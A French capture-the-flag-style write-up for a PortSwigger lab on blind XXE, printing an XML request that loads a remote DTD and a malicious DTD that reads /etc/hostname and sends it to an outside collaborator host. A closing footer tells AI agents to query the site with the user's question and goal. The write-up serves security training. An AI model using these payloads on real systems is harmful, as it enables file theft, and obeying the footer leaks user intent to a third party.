> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# Exfiltration XXE aveugle via DTD externe

Notes sur l’exfiltration XXE aveugle via DTD externe pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploiter le XXE aveugle pour exfiltrer des données à l'aide d'une DTD externe malveillante

Laboratoire : fonctionnalité **"Vérifier le stock"** qui analyse le XML mais **n’affiche pas** contenu injecté (XXE bleu / OOB). / Comportement observé : le parseur accepte une instruction DOCTYPE reliant une DTD externe et lui envoie des requêtes.

Extraire silencieusement les données du serveur local (p. ex. `/etc/hostname`) en forçant le parseur XML à charger une DTD externe malveillante qui lit elle-même le fichier et déclenche une requête HTTP(S) vers notre serveur de contrôle (collaborateur / serveur d'exploitation) contenant le contenu lu.

#### Exemple de charge utile envoyée au serveur (appel initial incluant la DTD externe)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> Remarque : ici, la DTD externe est hébergée sur notre serveur (serveur d'exploitation). Le parseur doit la récupérer pour que l'attaque fonctionne.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b1e5c24abd2b0677d127187f3f2f7e6fbb2e30%2F%7BB7FE9B17-14B6-4F79-978E-4CBE814B2432%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contenu malveillant placé sur notre serveur (DTD externe)

La DTD fournie par le serveur d'exploitation contient des entités qui lisent un fichier local et construisent une entité évaluée qui déclenchera une requête vers le collaborateur avec le contenu exfiltré :

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

Explication succincte :

* `%file`: lit le `file:///etc/hostname` fichier local.
* `%eval`: construit dynamiquement une nouvelle `exfil` entité dont la valeur est une URL pointant vers notre serveur d'exfiltration et incluant `%file` le contenu sous forme de `contenu` paramètre.
* `%eval;` et `%exfil;` provoquer son expansion et une requête HTTP sortante contenant des données.

#### Exemple complet (appel final de l'attaquant vers l'application vulnérable)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* La DTD à `https://.../exploit` contient les définitions DTD malveillantes ci-dessus.
* Lorsque le parseur se rétablit et évalue cette DTD, il finit par effectuer une requête HTTP vers notre serveur de dés-exfiltration avec `/etc/hostname` le contenu.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bc481c8eb9c901d2c1f09815cdad49b58d2654a%2F%7B291A914D-68D3-4308-9B31-13EDEA3D4821%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
